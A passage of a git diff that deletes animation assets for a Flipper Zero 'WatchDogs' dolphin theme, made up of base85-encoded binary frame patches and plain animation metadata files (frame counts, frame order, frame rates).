zK7Vhifi}pWBtG6TWy!qKT!R`oT$rC+Dd4-A`x*h`+d?gK!fiT9&8qx8#g_ST6NvK`QwmLu_$Ue*Hr6%sn*lD`&mf9Ly?g)d-X` z!t_}Dt$_D0}Q^&rh#q91x?CEcHWk&(x+@#$s@WUT;^?_4Eqn9$MX~2u9&Ol~aWi-6 z&e2Z82KOLJ-+nk!8`CeI#+?+@&}i;=G;*T;Z$w4Fzp1;iaPH37#o+cv^bO>^xi~#B zjGVL3r{RNwI8G@f?q=Nf!5KdIk%;ygYI<^#wi;;m<~J4z4c#3iM7|~4L|tNjmT%JD ze8YtPElPV>*D>v+$@?zu&>`8t#Q14!lV_HPlr&4aw60bt>U!9Y4sH6GT>&_bk)N;_*K9J+u}5aCJ@X=VP*IHow>H4ZE{~TjG$S)`UZfHErn*z;4`%y)~saBwN%0 zXp_i%^48LD*o>KjI#DxxqgEPpQzFJe&J*=0^X)&1e;-`LL=|H1f=HEMwd^k`*`x5) z+(+7f33&*;E>SCa^8$D>?3sWGl_{o{Uc;v`l~jZlDWb?;)&a>bx_Cn2ULxkQGv3%z z)Z{$rMB1!o*Adq`!v_Y$w1lsJw?0u2?35-ETd^u;KS9egj_eXR$MkDe&#wToTrO%N z-d$(lvPVoMtv>B@m;|TF#8shUm<7~PzdUWg6+?rGm9;8jUX76D#d5(#u9~0{I_7YI z>J}6Cs|JAfimRiMSN~wGHV$VDQ(WlqkiRF4yo>qo$E$|R@rH|+S9q19e$Nm(B7e$& Hk2~ytkQ`oU diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_2.bm deleted file mode 100644 index 96039803a29983fe993c116dbb8e8e0a87ad7c55..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1006 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 k9lrjHfs|5#W0ZtaYPDRSa9&kOZxiu2bw(Gl< zX@B*w_}_owA=~Pz)n4xYwNbm*!Q)wb93xAk;}g4KS%W+B)8w!Lrgyn4U7 zoT{t!8V~-fZTHr{JMCAie@m+AeOvCW-mm@r?RLfS{eOkR6d!$DzCPRkSM|TD|9$vS zfq(m<5xw{If226>@8jXB^>2Uw@VtKM0T++^_fV?Tx~0+I>wDuN{_gc&+5HzQmDP9u zf4zVH|I022d~4c`RZ!?Z|NmVGGXL3}MI)<~YRTjN?{9nk{JDI6TWYv?bh@v2@O|PT z*LQaNul}w`9vY!+e*5qk*Z*7JSM@wHnN3#z|GxeG|H|9^e_i~QDE>8HxIjQ7yx;b( z_y4??L#m}kf8F2zw{{y6sQa(+RQXkRzx#POf46V#|Mz~X@^V!wulO1}|JiJP|9}49 zR39v_yW9Q$@4t2X@Be#Wm1=cbN}zaq`@jFFIw)bT)l27oE{L#xzwdqS@2?&S_;p{g z$oIc~)R2+KUsR;kw6do7|HXs)0SSz0;lZR*dZBSRj{mFuV-3GoN|LX~N&mkm$M5w% zh+Jy*T1)(y!~al^^tv~H-cF=|8826T@7s>VLOb!G$#GRA0R2DxuyFf*r8583YB@p( zi^S9@@p*{Qe$bgzq&_#R{k&8_A!3zIfugN%MB{t+`~PV{wuA=@3d()2ebLbVjbxM^ zzqTt-q~D0e|NnoHV#F{0mIcE8@9ww#ySziicR7p>si(!!Etyk;+-ruvyWFQgW>-AYlC)B_r5#N}H_J|Mw)%79)?Wl|0|F@nB z@ArpEbvjS+I9t bDb(nsAD!^{VtuMrCY30Z>2#1NCRg?M0l8Eo diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/frame_6.bm deleted file mode 100644 index dc0ab47a742b741da7e262236be07b606df94779..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 996 zcmVwo(FR;&LHz*IlK`mfgisjAlh_WNyb`&Ww6zjys#>i<>uTE6<~ zuUCH$q-cL$+OPL}s;cXE;_fh7Hetro3yREzMpV>fiPItNyEPTKCoJ zzkB?atCZDt>;K*VOJ8gM)%w5g-6E^Cs{ikP`);z6VG5 z`~UU-_23BV=|b_!_e26OD{sH=-|y8bvY-(DS^_a1*id`_-2SUo)F}`4``-o+|Gj+( z4YeFHQi$(;=m7{1zrVZt)6wHp((1oK!SDa>;Ud3n#e+qZYzrHCONc-?j@Mu~fBss+6ZwmG*~3c02Z9 z{r$CEttzY{ANO=#Bm)1S1so>w=_^Oy?hudO?k^GevqU00yMOc=KL7XkzwgyjgaeZ8 z3dFiQ_K6$@RjF={(`;BB*8lo|FW9`Yw$HD(`@TL2K)=Lc7L1TmByk>(yWVaa|GxSk z7U25J!}r?`g+@KFxRVFP{=fd+WE~Y4j7Q%}Hi%?x?$Pc2$)bS}$ker6OMk!kx)j*` z%0uoPiTr&fl3$N|dIcW+|NFlu59u@_@ch&L7<_D|z?ySmewdxI}*6`}Ka4^uNh}_j8!0#N;DU z|LWrUn5`qYi4hSgN7gVK{azDD!u*?L5iR&ce}3)Rgk>L7VBhy<;Sz~xNP}0>RH%Sa z?=s2SB69oZ%HRPzVG(tQKZr(IV_iwU+r!PY(>L+{pE68NhK>)Z{3*({onht3RfkR)pEK+ z5irN@#~;6cM@Xqisx+Sev^YNh_WrN9{nE6#Ort^Th`D9F^YUaxSb!c$@Z diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/meta.txt deleted file mode 100644 index f83c9071b..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/HANDS/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 12 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 5 4 3 2 1 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/frame_0.bm deleted file mode 100644 index 57386557ab0f68b72da325212e5a81e9768faae6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 157 zcmZQ%n91b?07lZtLb?1VV=|M(v?-(Mj4=Kp{D`ThSG|0(#}KmYukjl*Wo wzk>SaNA~mBXF59m)Au=P-}t|seS(VPKR)Mr=09CpU-$pue8o@Lh6-i}0JK&+-T(jq diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/meta.txt deleted file mode 100644 index 10961ac36..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/JOIN_US/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 2 -Active frames: 0 -Frames order: 0 1 -Active cycles: 0 -Frame rate: 2 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_0.bm deleted file mode 100644 index 1ae586f6b479bf09db07ca2ce1dfbac0e1b7f3fc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 110 ccmZQ%$YS{4V8i%;pP_>JfE>dIb{cXR079D~O8@`> diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_1.bm deleted file mode 100644 index 1ae586f6b479bf09db07ca2ce1dfbac0e1b7f3fc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 110 ccmZQ%$YS{4V8i%;pP_>JfE>dIb{cXR079D~O8@`> diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_10.bm deleted file mode 100644 index 4a54e9bcd76e0f87fb8509f494d811944adfc801..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 137 zcmZQ%Xl3}{V8i%;pP_>JfE>dIc7hy6({C5b{9lD?`Az@BKl{%#Ppwz&uj^+m2`pRi SYyb7Et*bTti8Bb`Un62Gynd<|FNC@PyNCF>_6=f|KtBq-~9joU-s`0;vfBI z|G<1ej^P8lLxP|LJDW4hN9OxqZ~b-I`Ca1r7P#d*tLAEu>mwDEfom*HPGi{l4!1xj`2;_W$f){+YYC{{sj6`+x8de?Y<75C8rQ pAK?DsgZv-gFn@c&`~dI=fII=<4*+-rz#ahb2Y@^Q;12+J0)U}uhx-5k diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_13.bm deleted file mode 100644 index fb6a846c53597bc7ecd3c5c902492e17250e2e32..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 277 zcmZQ%5M=z{V8i%;pP_>ZktpU-m!P-`L3C_)wqt zkKymb9|wOw{?PoU!cNY@?!W#2J{kM{Jr(vxf9#X^QP23;J|V)UKJYuMLxKp0icllN z1Lk|(7C(Gv8lq^2TM=Z_f7?az7+h5Bc(ca5s7Iec=TyaSa_V(W~tH-X(AN_wVV3{Hi9K zv_nGc|F0Ih9+egFUf diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_14.bm deleted file mode 100644 index 3ad30a15f92f2718da6b1bddc5946efdd2e94235..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 323 zcmV-J0lfYJ06zi$fII=<4**7d6BqyR6yf0h$AjniAMd~v@ZkOz&-@-FA|KE^XW;w) z{6F#XkcaEQ577BT#zGIS05C#AuaJ3h!QvmzAH*NNJ|F&`51bGG!^aQaBmeOSk31hS zgNU<4KT)6m@!CD`{ZGG>@cqs~;~)Po>LDz>OZ|{gd_ZXx7z6@?7($2vy1TDj8=te5 zcY*Kq+}7uP`?SAq4}Z*dGaj7HVV!_{f1^|DPV#%q2gdTJAG_`69N>IiyEQKV)_sO= zM1tcI!`S1VaC_2Z8w=J~1qjsx-)~X0e|qs@bN~nE@Bxhe91oix@E%y;e9Zq1LW%?C z0v{{)hrU=WY6J@W*&`oDhx;{gZE1R68{#snWYHW0`EkTHFK{s8gAgXe}18Grf? z55J5*`Hu(B2mj%R|CROQ0Eo7L1NR5<#ErB7J~{|M8HY~L0O8>Ozyte$57_^JAHn{g Vhx&i;2krbH-~YfrfF1zw1At@;#EJj_ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_16.bm deleted file mode 100644 index 58062e238c2482cd1c73c1a012650b2b551f57f5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 392 zcmV;30eAiZ0E7YmfII=<4**1b6BqyR6!GBxgM;VzAK-dG!Snb6o(vykA`j&J9yk-! z_z!|Y5PaYM0PztBe<9%UZB6_hIPiGj1M|TD@%|U^esKJE{6IeZd>j5yA0?si`S19^ ze1eDLho9#G^BDj9G4uRzK4A_KhtKoC`JCUsk@){SUsLbo{v8fa%%)k|i$fy6uzSEV z5*P+5g#_XQ-`860#i;f;=|Vr-o!r~MyOs;%@j8IVuQN#ZU>^US>_&ZS-%c12`2Rrb z*WIl5m>-Sg1|?7X%N7v`uvB8$dmQtO4|+{T0dl6`VIOdN?c`7o?(P8w_N*i4fKn5_ zrg4B6%vtmQk;edIa6do*U^CD4|M3V1%np1HC;&dE|G;?QLG}LpPyY}QeBkf@$p7*N z50Oy(0po`c*Z<=m|3Sg?!v~B%`40!*gc>;TeE7lR2mb@7{^=hW_J9Y6HqiwPLIBKq mwtxo@2mSyb+yH*Z`~dzB^!z{5|A0Sl;Qs&q0sH{)2Y?*<~X@%|U^{&4<({6IeZd>j5yA0naf@#px! zeC2=t3_Slh512>)@sFS5f%6>y{{iEk2h3)D{GZ43;Q5>b#y<`h&i)}Rsz&0GUr;^Z z7@CX<1wo2)0q^$QTH;*)99Jw4fA;scHtx-*zhHa)BT<<4=2;Bv1K;tzichY)>CRvt z|IhViKWqBW4iVUzbz)Why!V{GjSa%3hw;t}@kx+KH(6)|6Rr<`y-ET1_P`?E)r4Gd z3POjo=H~DanBxKSBL|ei7!Q~XbNzq(WC8O7p99A600-6o_#YSuKCj=2|KkD=kWl|4 z|Hv3VaDV@V|M>?8ZL-!9E4gpmm@xz3L)i?eJ|Bvv$hv*(UKOg=O55FG<|C9&FsC+zm z{%{{5q4;6v@W6b-fB%ep|2z+v$N%^b$mIL^Kac0b^bZ*Px*QIU+(Ic-iozjZP<~Sboi3P?14*AYH!1s|zAQr5g1{Kav#YX}4w!k3YwS<0P z05O2K>Sk&wgfJg6IN%I!7{GkUW1s8)!XOWr9QYnTf*Awi{rm@x1Rq!b mwtxo@2mSyb+yH*Z`~dzB^!z{n0Dj-W{r~&}`}Pmu2Y?)Y48&Fd diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_19.bm deleted file mode 100644 index 330f26580937b1507fb0abc1a7147f4163446079..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 393 zcmV;40e1cY0EGenfII=<2=9aXJ_(Ee_zH0FeE$HahX?R~;NbcE0K|kiFn!O#;{ylu z1Rp;G;E;y`55W+J>%eRfc($Y-SaA^G0rSBB@%|zD|AWWJ;lJVm_u=8+;(+|Wwoe;n7W4}a$OvljO4Wt*UT|Fh9a_U2g}aR>pw8^~;W=f0fh z1@XSD&+WTg={_wRUd#)>=9;J?5hA$Eu>U#7I3D^51cKEKfWu1NZ;<2lwJfE>dI_68dUvk!{b5A9?4!1((RL}X5QI{qP>5Gh z9`OuB#sP)lOfi7>+iQJsZEu!a_6NVyxmk_&=JVgsJ^z!)%=+szj&uR>zJ|xHI?2ai zA3d1%|7~?xMWbu9iFN+-)C58>SD2JP$2jK$-hm*1eX&p}PN*LH`Gy1g`+z~as|dWn z0Am1W)Xh{^0`vd|V;ljEf+!D|40HW|_>9N^@HzNAe;5G$U%!CyfQRq-KL_3i|M-vo zFktxw58y&D@O}Iv|Hwc1Utbu1_&;1Qc?<8y|M0>8{P2AI#3DVRia^2H|HFg(hGGx~ jL&5)o2loIUvG9NR1O5-$_>t1foi@vF diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_21.bm deleted file mode 100644 index 914abe79b4dc68d9b509a74a89ad2c15cdda762a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 398 zcmV;90df8T0Ez+sfII=<2#I2^?$e6^j{24}29{Vikt|hJ0$9KT@{%??0@U5 zyygM#Y~R*n+rPEtVHV9-QYEkR&oRLFplGi#EI*EO&Ii3BK>+zhpfH2{cIp@p?^Xd8 z{j4JM00E2zzf+803~mqln1af|6bH;EIsX6rA^`b-&%f9I!~`EOIruz^WFLTN&%^hF zc?di}f&h#Nd}IH}c}zp|@Q?qX;rjplVd4AXgUkI756^@GFn{+vA3re&k4L@_k%<#% s9*{78;mkq+$T&Zt;Q!zQ_C62)0Dr;zKM(Z(;1ApQKfnKge*ioH;Nv08&;S4c diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_22.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_22.bm deleted file mode 100644 index 33635a4a836161f7486b0e023d3d4ecad87258e2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 406 zcmV;H0crjL0FnX!fII;k@P9|aF+T_Y_zH0Fe?h_X`~sdl9~ba?2jm`C@sPm5^Y|ei z3?Fgv5QppF4>$-u;o>2{gXh2xF#d7CLx2a*1OLPD|KCy%FCUKo7zf{nhkwKa=ZXLL z;qURle1Gtt|AroZ51aluLOA*Ua6d7|h{xyg@O@9e)A{sxA27=I>OBsN1EN6yh(aJR z2u462`L0Dy1&{E?HGucocP^1FR-S9RH$MA0-J5srmCLYw|C`uMd*c?4TmkQX-^VBS zUFGL6FMHYu#3(B1~3+VP9cCXxEG)RGLTtZBLMk`M?c^Hga98f8Tb1C=zxRjeh(kOe((Ru z|KLAZFzAEE4iB6U|M4IGLCRtepMX4J;rZZ$#vlFwh(5kB@csP%{t)Qr!S~}Xk9;3L zzyA&f4U`H4`;MKU0m1NK{fFQI{txZ|KV$v?e+T-0AL;+VAGh#-fByjf{)6}c;PLR% A%K!iX diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_23.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_23.bm deleted file mode 100644 index 97900cd742ccfa8c971e1b0280b7de1946a90c19..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 414 zcmV;P0b%|D0Ga{+fII;k@P9|aF+T_NfBXeFcz!|Yj{=|o@BhFl!NdL!fcam-LjwoT z;6z~jkBEl`58(ZL4}uaH2tIrT!3T~6KYVZyhx3Qw|HJ|F!2kICcl`hh z|HqGi&I9BBg#Z3A_xRv`af}g%&%yKm&L~DdKhFc^9L^d1`aCa~gTT;h1&9ps?*{l9a&64&+XpP+mHyS17B?`a;p3*Y^ohDW}#$>qR4_s#xx zee?cYa{>3iZ~3wBzT5V|d;PO_`H^@0_t;=PxTogm74}EOH zf&0C{VV!k^UN8VLfV1cSImQ6S;{T|?EW8nbe8fd%@Pq^A13v#>{}3PWK4;+afCuLV zfBpl;1}~s!&;Jl`eBgioi2v{(ToCw!#vV_e5C7r~7JfE>dIb{cXR079D~O8@`> diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_25.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_25.bm deleted file mode 100644 index 5338ea117466d69c451f8e11b2eba59c563b65e2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 187 zcmV;s07U-*0Ji}DfG7F_A9y-|78fq~Loffo{{Qp^AE=|r4lB>OFTfr+oA^II$6V_F z>;6z|*T6%!0S?ts=V~U6Z4*S1-};7vu&%j$z!ks$fA#136pq{=I<*ggC^{eyJj0W~ z9su#or|6X64*+-rE8!0Scmtdr>ks$?e*gc_Lw{l)Uw`x=-SH2AJYV4t5BNjC9>MU3 p|I|6}4d^(2j{d)oyaC`2-JfE>dIb{cXR079D~O8@`> diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_27.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_27.bm deleted file mode 100644 index 1ae586f6b479bf09db07ca2ce1dfbac0e1b7f3fc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 110 ccmZQ%$YS{4V8i%;pP_>JfE>dIb{cXR079D~O8@`> diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_28.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_28.bm deleted file mode 100644 index 635280724df7ebfe9a3734ee387b39a7f7e62529..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 172 zcmZQ%Si$hW!G`exKZEWc`MZCAv>%Xs|DD7Am*Dvu-Txlkx!+y>{{8#!P5Sp`elVZ@ z$MAu@`w!y-mjAL(L=^ZLDwq$*G00cTpSm~U!&fFBHs?>fCw2hMGL9a8^s`u=eTx+dX4^+SE2 Q1;_v1Wq*Fh5h!8-0HdQ&r~m)} diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_29.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_29.bm deleted file mode 100644 index 1ae586f6b479bf09db07ca2ce1dfbac0e1b7f3fc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 110 ccmZQ%$YS{4V8i%;pP_>JfE>dIb{cXR079D~O8@`> diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_3.bm deleted file mode 100644 index b3ad32b4a9ad1ee2dd41d23d1bc7f557832867c7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 266 zcmV+l0rma?00sg7fII=<4*+-rz#ahb2Y@^Q;12+J1Hc{t@CSew?hx>Ye*NL@?~A-& z!441j1O0t*e}2LHum1zHe{T4Xcz5D)6Yv;7bJC-3$AmF$7{{QpY#AFzF2KbQSUey`@?-^4#d Q3g2F@v{QY&2mKKbsAUG37ytkO diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_30.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_30.bm deleted file mode 100644 index 1ae586f6b479bf09db07ca2ce1dfbac0e1b7f3fc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 110 ccmZQ%$YS{4V8i%;pP_>JfE>dIb{cXR079D~O8@`> diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_4.bm deleted file mode 100644 index 1ae586f6b479bf09db07ca2ce1dfbac0e1b7f3fc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 110 ccmZQ%$YS{4V8i%;pP_>JfE>dIb{cXR079D~O8@`> diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_5.bm deleted file mode 100644 index c84b750702238c527c162cda2fd0750f910f1a01..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 142 zcmZQ%=wkTaV8i%;pP_>JfE>dIb}XFuEAsam%I^Pi_}BE`Njl&U`?t)c8f9zbum1mF wU;ckdfAeoXhY$7X2mjXptN-(m=i>jO1%Iwz*y5r0RABct{s-8M#A=xd09I5z&Hw-a diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/LOGO_WD2/frame_6.bm deleted file mode 100644 index d591e31c0195c06e833ed03a6d8054110f7e3b3d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 210 zcmV;@04@Ik0L}pafII=<4*+-rz#ahb2Y?#>5A6T=9iO@Qdwe1O^w0mG{Q2MdVEpp` z@Z|mf)xr7k|M9{3_5bU^`TYOm)x00Td3VA0zX$LztKj?hhxi^@@O}NrNDsk&FN8m@ z!UyO1B#G+}h)jX@AFLL*gWwXh@lR*l+y9?~`v3k1x@B+v5PSJS>-7h}qzt_vd;Ej^*0u{gN3qS!^^?T4Me)T~2)#|<5U?}hUp!ceRO6~i*>i@vy zzv+6N-sl{K@oN6x|NXzeepUSswpVrQ+TVu69&7mccmDrajC#MogKfRv+ur}~6cj0+ zkK6n2|L?p1|F859TEAC)x4-rMzis}J9KvxXiiCf4|44nmz5d^St#ef|4^UBhox2tYqAoIS4L;z|rt9L-=njigrdVc@?KlBee`S3)@oE=ypH~ryqd&+~C{0-1bJ@A5m z_2Ts3-;~NPdwEnt=l~sm&!9NM_0VNWW3aG)-OttB{Zs%sT~@2@zp7PhcD-#YZ?y%EN~Ni)TW;Xt*4BZ8{-@Pq zwOLkHrRnbJbzPxw>3ex8R*O-h(g_CKG#$3qt<}HPLgTlURdqhE-mcYE)$4sgvZjcMLAuT6hS?HZR> zU#ag>tGi!P=zqIf*Hj8MP|*Eq`!o2L#?`NtdaK%mwt$Ee63R<5b{({*aTo$X50@)=DgQ&kF%`c_#SmETL+t$~C9 zKV26>{?b9DeRql6HmNA{=F`$^er7}d~HA>#a8uy-T5Sb(Q){JN9kXr)qdameYPuA?y-lp+b<2@ zRg$)L|J8dd_*8>d+daqnavx9M_gbXC21~8&3`V1`($y(ds=St~rSH-r`>wWU*`q7ULj6<43ug-XToy!{+F@PB*< zqPgNQvK7REf<^fEuMkOu2&J+BSeD`EJyHk8GJd=Vr2%_CkQbddCyP&r40!bt=w$bH 